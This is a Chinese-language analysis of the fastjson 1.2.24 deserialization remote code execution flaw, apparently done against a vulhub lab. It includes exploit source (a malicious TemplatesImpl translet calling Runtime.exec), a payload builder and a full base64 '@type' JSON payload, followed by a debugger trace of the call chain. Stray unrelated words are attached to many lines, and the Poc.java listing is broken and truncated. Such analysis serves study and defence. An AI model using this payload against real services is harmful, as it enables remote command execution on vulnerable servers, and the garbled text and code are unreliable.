fastjson 1.2.24反序列化致使任意命令執行漏洞分析記錄

環境搭建:

漏洞影響版本:html

fastjson在1.2.24以及以前版本存在遠程代碼執行高危安全漏洞java

環境地址:git

https://github.com/vulhub/vulhub/tree/master/fastjson/vulngithub

正常訪問頁面返回hello,world~
apache

 

此時抓包修改content-type爲json格式,並post payload,便可執行rcejson

 此時就可以建立success文件數組

前置知識:

研究這個漏洞以前,先熟悉一下阿里的這個fastjson庫的基本用法安全

package main.java;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {


    public static  void  main(String[] args){
        Map<String,Object> map = new HashMap<String, Object>();
        map.put("key1","one");
        map.put("key2","two");
        //System.out.println(map.getClass());
        String mapjson = JSON.toJSONString(map);
        System.out.println(mapjson.getClass());
        user user1 = new user ();
        user1.setName("111");
        System.out.println(JSON.toJSONString(user1));

        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        user user2=(user)JSON.parse(serializedStr1);
        System.out.println(user2.getName());

        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println(obj.getClass());

        Object obj1 = JSON.parseObject(serializedStr1,Object.class);
        //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
        user obj2 = (user)obj1;
        System.out.println(obj2.getName());
        System.out.println(obj2.getClass());

    }


}
//輸出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user

這裏user爲定義好的一個類,實際上fastjson提供給咱們的也就是將對象快速轉換爲能夠傳輸的字符串,固然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,ide

能夠從輸出看到,JSON.toJSONstring其實是將類的屬性值轉化爲字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,因此此時能夠定位到某個類以及其實例化對象的屬性值,再經過JSON.parse()函數便可經過fastjson序列化後的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時可以成功恢復出類的對象,不然只能恢復到JsonObject對象函數

漏洞分析:

這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數可以根據這個字段來生成類的實例,那麼這個類的構造函數是咱們可控的,就可以rce

 test.java

package person;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }
   
}

test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,由於在這會實例化該類,所以直接在其構造方法中calc便可

poc.java

package person;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;


public class Poc {

    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray()); 

    }

    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"]," +    //將evilcode放在_bytecodes處
                "'_name':'a.b'," +
                "'_tfactory':{ }," +
                "\"_outputProperties\":{ }}\n";
        System.out.println(text1);
        //String personStr = "{'name':"+text1+",'age':19}";
        //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置SupportNonPublicField

public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }

 咱們已經知道在反序列化解析json字符串時在parseobject時觸發

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}

 在此下斷點,運行poc.java

此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理咱們傳入的payload

 此時判斷咱們傳入的features是否爲null,這裏

咱們已經制定了支持非publicfield屬性,由於使用的_bytescode實際爲非public的,不然沒法反序列化,接着調用defaultJsonParser來進一步處理payload

 此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進

 此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是否是泛型數組類型的實例以及判斷type是否是類類型的實例,這裏兩處不知足,因此調用parse.parse來解析

實際上此時又回到了

而且在此調用parseObject函數來處理咱們的payload

接下來一部分就是語法解析,先匹配出了其中的雙引號",

 好比先在parseObject函數中匹配出了@type

 匹配出@type標誌之後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是咱們想要反序列化的類

 繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,

跟進此函數,則能夠看到此時token爲16而且text爲咱們的payload

 接下來會調用parseField函數來對json字符串中的一些key值進行匹配

 這個方法裏面會調用smartmatch來對key值進行一些處理,好比將_bytecodes的下劃線刪除

 當處理到_outputProperties字段時,步入其smartMatch方法

 此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,由於存在OutputProperties屬性

 

 此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,

 

 這裏首先判斷_name字段不能爲空,這也是爲啥payload裏面會設置一個_name字段

 接下來就會調用newInstance()函數來實例化對象了,能夠看到此事要求實例化的對象時AbstractTranslet類的,那麼只須要讓咱們的payload中的類繼承自該類便可, 

能夠看到此時_transletIndex爲零,所以此時實例化的就是咱們構造的惡意類,

 

縮減後的整個調用鏈即爲:

JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec

參考:

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://www.freebuf.com/vuls/178012.html

https://www.anquanke.com/post/id/173459#h2-10

http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

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